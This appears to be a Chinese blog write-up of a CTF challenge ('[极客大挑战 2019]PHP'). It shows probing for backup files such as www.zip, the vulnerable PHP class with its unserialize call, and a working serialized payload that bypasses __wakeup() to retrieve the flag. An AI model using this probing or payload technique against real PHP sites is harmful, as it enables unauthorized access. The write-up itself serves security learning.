[极客大挑战 2019]PHP
[极客大挑战 2019]PHP
打开链接,提示有备份网站的习惯
因此此时尝试访问一些常见的网站备份文件名,例如:
-
常见网站源码备份文件后缀:
tar.gz zip rar tar
-
常见网站源码备份文件名:
www wwwroot web back backup
最后发现输入www.zip可以获得网站的源码文件,解压之后发现如下文件
首先先查看index.php文件,发现了如下关键代码
该文件包含了class.php文件,并且对select变量进行了反序列化的操作,这里要注意一个知识点
- 若反序列化的变量为对象,那么在构造对象之后,会去自动调用__wakeup()成员函数(若果存在该函数的话)
我们打开class.php进一步分析
代码如下:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
经分析得知,只有当对应实例的username === admin并且password == 100的时候才会显示flag,但是该类当中存在__wakeup()函数会将username的值更改掉,所以本体的关键就是绕过该函数
查询资料得知:
- 当成员属性的数目大于实际数目的时候就可以绕过__wakeup()函数
所以我们现在要编写符合条件的对象,然后将其序列化,payload构造如下:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res = serialize(@$select);
echo $res
?>
得到结果如下:
O:4:"Name":2:{s:14:"口Name口username";s:6:"admine";s:14:"口Name口password";s:3:"100";}
将成员属性数量值2改为3,然后将“口”改为%00表示空格,最终的payload如下:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
提交之后发现成功得到flag
flag{0a351476-eb20-4ece-9cba-e0aab7937081}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异